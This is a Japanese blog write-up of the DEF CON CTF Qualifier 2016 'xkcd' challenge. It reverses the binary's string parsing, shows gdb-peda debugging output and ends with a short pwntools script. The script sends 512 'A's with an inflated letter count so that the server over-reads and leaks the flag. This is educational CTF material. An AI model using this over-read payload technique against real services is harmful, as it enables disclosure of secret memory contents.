読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2016 xkcd

どんな問題なのかというと「ひたすら文字列を比べて違ったらはじく」といった問題。GDBで読み進めていってもいいが、やはり全体を眺めるためにIDAなどのツールを使ったほうがいいかもしれない。
アセンブル写真貼り付けるのも面倒なので、重要な部分だけ抜粋し、C言語で表示します。(あってる保証はない。デバッグしまくって試したので)まず最初に一番気になるのは・・・

fp = fopen("./flag", "r");
fread(global+200h, 0x100, 1, fp);

global+200hにflagの内容を格納しているのである。てことはglobalをBoF(Buffer over Flow)させて終端文字をけせばいいんじゃね?方針が立つ。BoFさせるにも200h(512)byte先にあるということはわかったが、ここで厄介なことにある一定の文字列しか受け付けてないようだ。・・・・・・rev(リバーシング)頑張ろう問題です。
まず重要になるのが・・・

 result = strtok(UserInput, "?");
 result = strcmp(result, "SERVER, ARE YOU STILL THERE");

こ↑こ↓でUserが入力した値に?が入っているか調べた後に?を抜かした値と比べてる。ここではSERVER, ARE YOU STILL THERE?が入っていないとこの段階ではじく。
次に重要になるのが・・・

 UserInput1 = strtok(UserInput, "\"");
 strcmp(UserInput1, " IF SO, REPLY ");
 UserInput2 = strtok(UserInput, "\"");
 strlen(UserInput2)
 memcpy(global, UserInput2, sizeof(UserInput2));

“"はどの位置に来るのかよくわからなったのでデバッグしながら確かめてみたら、どうやら IF SO, REPLY の後ろに両方来るような形になっていた。ここで二つ目のstrtokをした後に”“の間に囲まれている値が保存されているような動きがみられた。
memcpyはglobalに”“の間に囲まれている文字列をコピーしてる(いわゆる今回の脆弱性)。一応デバッグして確かめている様子を張り付けておくよん。

gdb-peda$ 

 [----------------------------------registers-----------------------------------]
RAX: 0x60327b --> 0x4141414141414141 ('AAAAAAAA')
RBX: 0x0 
RCX: 0x60327e (" (%s LETTERS)\n")
RDX: 0x60327e (" (%s LETTERS)\n")
RSI: 0x400cc6 --> 0x4f53204649200022 ('"')
RDI: 0x7fffffffde88 --> 0x400aae (<main+353>:   cdqe)
RBP: 0x7fffffffded0 --> 0x0 
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
RIP: 0x400ab4 (<main+359>:  mov    rax,QWORD PTR [rbp-0x18])
R8 : 0x0 
R9 : 0x8 
R10: 0xfffffffffffff278 
R11: 0x7ffff7b54e00 (mov    ecx,esi)
R12: 0x400860 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400aa9 <main+348>:  call   0x400820 <strtok@plt>
   0x400aae <main+353>:  cdqe   
   0x400ab0 <main+355>:  mov    QWORD PTR [rbp-0x18],rax
=> 0x400ab4 <main+359>:  mov    rax,QWORD PTR [rbp-0x18]
   0x400ab8 <main+363>:  mov    rdi,rax
   0x400abb <main+366>:  call   0x4007a0 <strlen@plt>
   0x400ac0 <main+371>:  mov    rdx,rax
   0x400ac3 <main+374>:  mov    rax,QWORD PTR [rbp-0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
0008| 0x7fffffffde98 --> 0x100400c3d 
0016| 0x7fffffffdea0 --> 0x3cffffded0 
0024| 0x7fffffffdea8 --> 0x0 
0032| 0x7fffffffdeb0 --> 0x603250 ("SERVER, ARE YOU STILL THERE")
0040| 0x7fffffffdeb8 --> 0x60327b --> 0x4141414141414141 ('AAAAAAAA')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x1 
0056| 0x7fffffffdec8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400ab4 in main ()
gdb-peda$ 

しっかり入ってんじゃん!こ↑こ↓"“の間に512byteぶん文字を入れて終端文字を消せばいいんやな!ってことに気づく。上のように値を入れたと考えてここまでの文字をつなぎ合わせるとSERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAA"となる。
次に重要になるのは・・・

global1 = strtok(global, "(");
global2 = strtok(global1, ")");
sscanf(global2, "%d LETTERS", );

scanfは今回の場合はglobal2に入っているLETTERSの前の数値を%dに入れるような処理をしている。()の間に%d LETTERSがはいるのでは?と予想を立てる。つまり、SERVER, ARE YOU STILL THERE? IF SO, REPLY “AAAAAAAA” (%d LETTERS)
となる。本当にそうなるのか確かめてみるか

 [----------------------------------registers-----------------------------------]
RAX: 0x603282 ("4 LETTERS")
RBX: 0x0 
RCX: 0x60328c --> 0xa ('\n')
RDX: 0x60328c --> 0xa ('\n')
RSI: 0x400cd9 --> 0x54454c2064250029 (')')
RDI: 0x7fffffffde88 --> 0x400b02 (<main+437>:   cdqe)
RBP: 0x7fffffffded0 --> 0x0 
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
RIP: 0x400b02 (<main+437>:  cdqe)
R8 : 0x0 
R9 : 0x8 
R10: 0x7fffffffdc50 --> 0x0 
R11: 0x7ffff7aacec0 (mov    rax,rsi)
R12: 0x400860 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400af3 <main+422>:  mov    edi,0x0
   0x400af8 <main+427>:  mov    eax,0x0
   0x400afd <main+432>:  call   0x400820 <strtok@plt>
=> 0x400b02 <main+437>:  cdqe   
   0x400b04 <main+439>:  mov    QWORD PTR [rbp-0x18],rax
   0x400b08 <main+443>:  lea    rdx,[rbp-0x30]
   0x400b0c <main+447>:  mov    rax,QWORD PTR [rbp-0x18]
   0x400b10 <main+451>:  mov    esi,0x400cdb
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe312 ("/home/shima/workspace/pwn_list_baby/xkcd/a.out")
0008| 0x7fffffffde98 --> 0x100400c3d 
0016| 0x7fffffffdea0 --> 0x3dffffded0 
0024| 0x7fffffffdea8 --> 0x0 
0032| 0x7fffffffdeb0 --> 0x603250 ("SERVER, ARE YOU STILL THERE")
0040| 0x7fffffffdeb8 --> 0x603280 --> 0x5454454c20340020 (' ')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x1 
0056| 0x7fffffffdec8 --> 0x0 
[------------------------------------------------------------------------------]

なりますねぇ!()はどうやら%d LETTERSが間に入ってるようで間違いないみたい!後の処理はデバッグしてみる限り、どうやら、%dの値分出力するようなstrlenがあるだけだった。つまり、flagを出力するには512+Xbyteぶん出力すればいい。ちまちま出していく限り、どうやら全部で35文字分であることが分かった。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./a.out')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./a.out')
        print "[+] connect to local\n"

payload = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%s LETTERS)\n' % ('A' * 512, 512 + 35)
print payload
conn.write(payload)
data = conn.recv(2048)
print data

コード自体は少ないです。今回はどっちかというとrevを問われるような問題だったような気がする。
総評 IDAを買おう!